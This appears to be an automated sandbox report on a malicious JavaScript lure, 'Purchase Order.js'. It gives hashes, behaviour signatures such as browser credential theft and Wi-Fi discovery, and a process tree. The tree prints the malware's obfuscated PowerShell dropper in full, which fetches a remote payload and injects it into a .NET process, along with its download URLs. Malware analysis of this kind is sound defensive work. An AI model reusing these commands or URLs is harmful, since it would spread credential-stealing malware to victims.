Analysis

  • max time kernel
    94s
  • max time network
    203s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-09-2024 06:49

General

  • Target

    Purchase Order.js

  • Size

    602KB

  • MD5

    c23145032eb9417255ffe33e719afaf2

  • SHA1

    b0a2b6174179ef5d05489253802030b4fda20165

  • SHA256

    61f366924b6047fc1edf5494e19322990fcd3544641cdf26c63d893116a712ee

  • SHA512

    fcb72da665866518fac8a02081cda1fa988aa47c8dc4ec25fe18063637117c7c693de71a2914eefbb89431fcf964857e07fdfce5cb6bf8a5f4919951e8f9835e

  • SSDEEP

    12288:L0jCPxgfEU+BG/njP9Rc8AfSeh/xxvLmKiinJ/9xuaRZb7bIsDvZX9i4Mw61uBKW:nsbdc52Gz/SkD9

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Purchase Order.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:216
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAgACgAIAAkAHMAaABFAGwATABpAGQAWwAxAF0AKwAkAFMAaABlAGwATABpAEQAWwAxADMAXQArACcAWAAnACkAKAAoACgAJwB7ADEAfQB1ACcAKwAnAHIAJwArACcAbAAgAD0AIAB7ACcAKwAnADAAfQBoAHQAJwArACcAdAAnACsAJwBwACcAKwAnAHMAOgAvACcAKwAnAC8AJwArACcAaQBhACcAKwAnADkAMAA0ADYAMAAxAC4AdQBzACcAKwAnAC4AJwArACcAYQByAGMAaAAnACsAJwBpAHYAZQAuACcAKwAnAG8AcgBnAC8ANgAvAGkAdABlAG0AcwAvACcAKwAnAGQAZQB0ACcAKwAnAGEAaAAtAG4AbwB0AGUALQBqAC8ARABlAHQAYQBoAE4AbwAnACsAJwB0AGUASgAuAHQAeAB0AHsAMAAnACsAJwB9ADsAJwArACcAewAxAH0AYgBhAHMAZQA2ACcAKwAnADQAQwBvAG4AdABlAG4AdAAgAD0AJwArACcAIAAnACsAJwAoACcAKwAnAE4AZQB3AC0ATwBiAGoAJwArACcAZQBj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ZAAnACsAJwAgAD0AIAB7ADEAfQB0AHkAcABlAC4AJwArACcARwBlAHQATQBlAHQAaABvAGQAJwArACcAKAB7ACcAKwAnADAAJwArACcAfQBWAEEAJwArACcASQB7ACcAKwAnADAAfQAnACsAJwApACcAKwAnADsAewAxAH0AbQBlAHQAaABvAGQALgBJACcAKwAnAG4AdgAnACsAJwBvACcAKwAnAGsAJwArACcAZQAoAHsAMQAnACsAJwB9ACcAKwAnAG4AdQAnACsAJwBsAGwALAAnACsAJwAgAFsAbwBiAGoAZQBjAHQAWwBdACcAKwAnAF0AQAAoAHsAMAB9AHQAeAAnACsAJwB0AC4AcwBvAGsAaQAvAHYAJwArACcAZQBkAC4AMgByAC4AMwA5AGIAJwArACcAMwA0ADUAMwAwADIAYQAwADcAJwArACcANQAnACsAJwBiADEAJwArACcAYgBjACcAKwAnADAAZAA0ADUAYgA2ADMAJwArACcAMgBlAGIAOQBlAGUANgAyACcAKwAnAC0AJwArACcAYgAnACsAJwB1AHAAJwArACcALwAnACsAJwAvADoAcwBwACcAKwAnAHQAdAAnACsAJwBoAHsAJwArACcAMAB9ACAAJwArACcALAAgAHsAMAB9AGQAZQBzACcAKwAnAGEAdAAnACsAJwBpAHYAYQAnACsAJwBkACcAKwAnAG8AewAnACsAJwAwAH0AIAAsACAAewAwACcAKwAnAH0AZABlAHMAYQB0AGkAJwArACcAdgBhACcAKwAnAGQAbwB7ADAAfQAgACwAIAB7ADAAfQBkACcAKwAnAGUAJwArACcAcwBhACcAKwAnAHQAJwArACcAaQB2AGEAZAAnACsAJwBvACcAKwAnAHsAJwArACcAMAB9ACwAJwArACcAewAnACsAJwAwACcAKwAnAH0AQQAnACsAJwBkAGQAJwArACcASQAnACsAJwBuAFAAJwArACcAcgAnACsAJwBvACcAKwAnAGMAZQAnACsAJwBzAHMAMwAnACsAJwAyACcAKwAnAHsAMAB9ACwAewAnACsAJwAwAH0AZAAnACsAJwBlACcAKwAnAHMAYQAnACsAJwB0AGkAdgBhACcAKwAnAGQAbwB7ACcAKwAnADAAfQAnACsAJwApACkAOwAnACkAIAAtAGYAIABbAGMASABhAHIAXQAzADkALABbAGMASABhAHIAXQAzADYAKQApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2836
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $shElLid[1]+$ShelLiD[13]+'X')((('{1}u'+'r'+'l = {'+'0}ht'+'t'+'p'+'s:/'+'/'+'ia'+'904601.us'+'.'+'arch'+'ive.'+'org/6/items/'+'det'+'ah-note-j/DetahNo'+'teJ.txt{0'+'};'+'{1}base6'+'4Content ='+' '+'('+'New-Obj'+'ect'+' S'+'yst'+'em'+'.Net.We'+'b'+'C'+'lie'+'n'+'t).DownloadS'+'tri'+'n'+'g({1}url);{1}'+'binaryCo'+'nt'+'e'+'nt = [Sys'+'t'+'em.Con'+'vert]::FromB'+'a'+'se'+'6'+'4St'+'rin'+'g({1}'+'base64'+'C'+'on'+'t'+'ent);{1}ass'+'e'+'mbl'+'y = ['+'R'+'eflection.Assem'+'bl'+'y]'+':'+':Load({1}b'+'in'+'a'+'ryConte'+'n'+'t);'+'{1}type = {1'+'}a'+'sse'+'mbl'+'y.Ge'+'t'+'Ty'+'p'+'e'+'({0}'+'R'+'unPE.Home{0'+'});{1'+'}met'+'hod'+' = {1}type.'+'GetMethod'+'({'+'0'+'}VA'+'I{'+'0}'+')'+';{1}method.I'+'nv'+'o'+'k'+'e({1'+'}'+'nu'+'ll,'+' [object[]'+']@({0}tx'+'t.soki/v'+'ed.2r.39b'+'345302a07'+'5'+'b1'+'bc'+'0d45b63'+'2eb9ee62'+'-'+'b'+'up'+'/'+'/:sp'+'tt'+'h{'+'0} '+', {0}des'+'at'+'iva'+'d'+'o{'+'0} , {0'+'}desati'+'va'+'do{0} , {0}d'+'e'+'sa'+'t'+'ivad'+'o'+'{'+'0},'+'{'+'0'+'}A'+'dd'+'I'+'nP'+'r'+'o'+'ce'+'ss3'+'2'+'{0},{'+'0}d'+'e'+'sa'+'tiva'+'do{'+'0}'+'));') -f [cHar]39,[cHar]36))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1212
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:3596
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:1116
            • C:\Windows\SysWOW64\chcp.com
              chcp 65001
              6⤵
              • System Location Discovery: System Language Discovery
              PID:3944
            • C:\Windows\SysWOW64\netsh.exe
              netsh wlan show profile
              6⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:4872
            • C:\Windows\SysWOW64\findstr.exe
              findstr All
              6⤵
              • System Location Discovery: System Language Discovery
              PID:3380
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1412

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    d8b9a260789a22d72263ef3bb119108c

    SHA1

    376a9bd48726f422679f2cd65003442c0b6f6dd5

    SHA256

    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

    SHA512

    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zyhqxhiu.a2a.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1212-22-0x0000013938040000-0x000001393824C000-memory.dmp

    Filesize

    2.0MB

  • memory/2836-12-0x00007FFF286D0000-0x00007FFF29191000-memory.dmp

    Filesize

    10.8MB

  • memory/2836-1-0x000001DACE220000-0x000001DACE242000-memory.dmp

    Filesize

    136KB

  • memory/2836-0-0x00007FFF286D3000-0x00007FFF286D5000-memory.dmp

    Filesize

    8KB

  • memory/2836-30-0x00007FFF286D0000-0x00007FFF29191000-memory.dmp

    Filesize

    10.8MB

  • memory/2836-11-0x00007FFF286D0000-0x00007FFF29191000-memory.dmp

    Filesize

    10.8MB

  • memory/3596-31-0x0000000005100000-0x00000000051E6000-memory.dmp

    Filesize

    920KB

  • memory/3596-26-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

  • memory/3596-23-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

  • memory/3596-32-0x0000000005350000-0x00000000053B6000-memory.dmp

    Filesize

    408KB

  • memory/3596-33-0x0000000005930000-0x0000000005942000-memory.dmp

    Filesize

    72KB

  • memory/3596-34-0x0000000005F80000-0x0000000006142000-memory.dmp

    Filesize

    1.8MB

  • memory/3596-64-0x00000000069E0000-0x0000000006F84000-memory.dmp

    Filesize

    5.6MB

  • memory/3596-65-0x0000000006340000-0x00000000063D2000-memory.dmp

    Filesize

    584KB

  • memory/3596-66-0x0000000006430000-0x00000000064A6000-memory.dmp

    Filesize

    472KB

  • memory/3596-88-0x0000000006F90000-0x00000000074BC000-memory.dmp

    Filesize

    5.2MB